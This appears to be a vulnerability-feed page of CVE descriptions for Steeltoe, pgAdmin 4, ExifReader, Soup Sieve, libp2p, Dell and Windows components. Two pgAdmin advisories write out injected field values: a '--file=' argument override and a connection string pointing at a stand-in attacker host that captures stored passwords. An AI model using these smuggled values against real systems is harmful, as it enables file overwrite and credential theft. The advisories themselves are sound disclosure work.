| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. From 4.0.0 until 4.3.0, EurekaDiscoveryClient deserializes the registry response as one unit, and an unrecognized actionType or status, a non-Boolean isCoordinatingDiscoveryServer, or a nonnumeric timestamp can abort the entire response. A principal that can register or update an instance can cause all connected Steeltoe clients to receive an empty or stale instance list until the malformed registration is removed. The JsonInstanceInfoConverter, BoolStringJsonConverter, and LongStringJsonConverter parsing paths are affected. This issue is distinct from the earlier DataCenterInfo.name parsing vulnerability. This issue is fixed in version 4.3.0. |
| Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. From 4.0.0 until 4.3.0, ConsulDiscoveryClient constructs ConsulServiceInstance objects by parsing each registration's secure metadata with a strict Boolean conversion. A principal that can register a Consul service can supply a secure value other than true or false, causing the exception from one instance to abort construction of the entire instance list and make the targeted service undiscoverable. When GetAllInstancesAsync enumerates all services, one malformed instance can abort enumeration across every service. The outage persists until the offending registration is removed. This issue is fixed in version 4.3.0. |
| Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. Prior to 4.3.0, Steeltoe.Security.Authorization.Certificate deployments using AddOrgAndSpacePolicies() and UseCertificateAuthorization() trust the public certificate supplied in the X-Client-Cert request header without proving possession of the corresponding private key. Common Cloud Foundry routers do not remove this header from inbound requests. When inbound requests are not restricted to a known trusted proxy source IP, an attacker who obtains the public certificate of an application instance in the target organization or space and can reach the application can spoof X-Client-Cert to bypass the SameOrg and SameSpace policies for the certificate validity period. This issue is fixed in version 4.3.0. |
| Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. Prior to 4.3.0, the Steeltoe.Management.Endpoint /actuator/httpexchanges endpoint passes recorded request URIs through MaskedUri, which masks URI user information but does not inspect query strings. When Management:Endpoints:HttpExchanges:IncludeQueryString is enabled, the HttpExchangeRequest response can disclose OAuth tokens, password-reset tokens, signed-URL signatures, API keys, and other query-string secrets from prior traffic to a caller that can reach the explicitly exposed endpoint. The Steeltoe.Management.Endpoint.Actuators.HttpExchanges DEBUG logger also records these URIs, creating a second disclosure channel for users with log access. This issue is fixed in version 4.3.0. |
| ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1. |
| pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.
The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.
The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.
This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18. |
| pgAdmin 4's Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.get_user() read config.WEBSERVER_REMOTE_USER from request.environ and, when that returned nothing, fell back to reading the same name directly from the inbound HTTP request headers via request.headers.get(). An inbound HTTP header is written by whoever sends the request, so any client able to reach pgAdmin could supply that header itself and be authenticated as any username it named, including an existing Administrator, without presenting a password or any other credential. The environment lookup could also be satisfied by a client-supplied header whenever WEBSERVER_REMOTE_USER was configured to an HTTP_-prefixed or hyphenated name such as HTTP_X_FORWARDED_USER or X-Forwarded-User, since WSGI servers place inbound headers into the environment under exactly those names. Deployments are affected only when 'webserver' is enabled in AUTHENTICATION_SOURCES.
The fix distinguishes a genuine CGI/WSGI variable from a header-derived one and implicitly trusts only the former. A header-asserted identity is now accepted only when the operator explicitly opts in via WEBSERVER_REMOTE_USER_FROM_HEADER, the request arrives from a peer listed in WEBSERVER_TRUSTED_PROXIES, and, when configured, a shared secret supplied in WEBSERVER_SHARED_SECRET_HEADER matches WEBSERVER_SHARED_SECRET under a constant-time comparison. The trusted-peer check deliberately reads the real socket peer address rather than request.remote_addr, because ProxyFix rewrites the latter from the client-controlled X-Forwarded-For header and would otherwise allow an attacker to claim to be the trusted proxy. As defence in depth, login() now refuses any account whose auth_source is not 'webserver', so a misconfigured trust gate cannot be used to assume an internal or LDAP account.
This issue affects pgAdmin 4: from 6.2 before 9.18. |
| pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18. |
| pgAdmin 4's File Manager save_file endpoint, which backs saving from the Query Tool and ERD, validated the requested path with Filemanager.check_access_permission() and then opened the file for writing with a plain open() call. CVE-2026-7819 had previously hardened the separate file upload path by opening its target with O_NOFOLLOW, so that the kernel refuses to follow a symbolic link at the final path component, but save_file was left on an unprotected open(). A symbolic link already present when the check ran was rejected by the check itself; the remaining exposure was a link substituted at the final path component in the interval between the check and the write, at which point the write followed the link and landed outside the user's storage directory, creating or overwriting an arbitrary file as the operating-system account running pgAdmin.
Exploitation requires the ability to create or replace a symbolic link inside the requesting user's storage directory. pgAdmin exposes no interface that creates symbolic links, so this requires filesystem access to the pgAdmin host or to a shared or network-mounted storage backend, together with winning the timing window. The reporter did not achieve a write against a released version, having attempted approximately 63,000 racing requests without success; the reported defect is the uncovered write path rather than a demonstrated sandbox escape.
The fix routes save_file's write through the same O_NOFOLLOW-protected helper already used by the upload path, so both File Manager write sinks carry identical kernel-enforced protection, and reports a symbolic-link refusal explicitly instead of surfacing the underlying system error text. Note that files created by save_file are now given mode 0600, inheriting the behaviour introduced for uploads. The protection covers the final path component; substitution of an intermediate directory component is not addressed by this change.
This issue affects pgAdmin 4: from the introduction of the containment check in the File Manager save path before 9.18. |
| Dell SmartFabric OS10 Software, versions prior to 10.6.1.3, contains a Session Fixation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Session theft. |
| A security vulnerability has been detected in vgmstream. The affected element is the function init_vgmstream_awb_memory of the file src/meta/awb.c of the component AWB parser. Such manipulation leads to divide by zero. The attack can be executed remotely. The name of the patch is ae37662ad626254ddd96ad69ac263792d7a92024. A patch should be applied to remediate this issue. |
| Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to disclose information locally. |
| Dell Server Update Utility, versions prior to 26.07.01, contains an Uncontrolled Search Path Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution. |
| Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9. |
| Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9. |
| Buffer over-read in Windows DHCP Server allows an authorized attacker to deny service over an adjacent network. |
| libp2p is a JavaScript implementation of the libp2p networking stack. Prior to 11.0.26, @libp2p/floodsub accepts unauthenticated RPC frames on /floodsub/1.0.0 through PeerStreams.attachInboundStream in packages/floodsub/src/peer-streams.ts without protobuf element limits, then processRpc and processRpcSubOpt in packages/floodsub/src/floodsub.ts synchronously process the subscriptions array without a per-frame cap. A single bounded-size frame can decode into millions of empty subscription entries that block the event loop, while hundreds of thousands of unique-topic SUBSCRIBE entries allocate PeerSet objects in this.topics that are not removed after peer removal or stop. Empty entries cause CPU exhaustion but do not grow this.topics; persistent memory growth requires unique topics. The subscription path bypasses message signature validation and the message-only processing queue, allowing a remote peer to cause sustained CPU denial of service, memory exhaustion, out-of-memory termination, and node unavailability. The issue is fixed in version 11.0.26. |
| Authentication Bypass by Spoofing vulnerability in team-alembic ash_authentication allows an attacker who operates one identity-provider connection of a dynamic_oidc strategy to be signed in as a local user established through a different connection.
The strategy is meant to keep each connection in its own identity namespace by writing every UserIdentity row's strategy field as "<name>/<connection_id>", but that namespacing never takes effect. __connection_id__ is populated only on the ephemeral runtime struct built per request in dynamic_oidc/plug.ex, and DynamicOidc.IdentityChange.change/3 re-fetches the strategy from the compile-time DSL through Info.strategy_for_action, yielding the persisted struct whose __connection_id__ is its defstruct default of nil. OAuth2.identity_strategy_name/1 therefore falls back to the bare strategy name for both the identity write and the reads in oauth2/user_resolver.ex and oauth2/sign_in_preparation.ex. Since the identity resource's unique key is (uid, strategy), one row exists per sub across every connection, and the identity-match branch runs before any email check. Neither strategy handles iss, so nothing else distinguishes the issuers: OpenID Connect Core section 5.7 makes sub unique only within an issuer, so two connections numbering subjects independently share one subject space.
This issue affects ash_authentication: from 5.0.0-rc.10 before 5.0.0-rc.14. |
| libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24. |
| Out-of-bounds read in Windows LDAP - Lightweight Directory Access Protocol allows an unauthorized attacker to deny service over a network. |
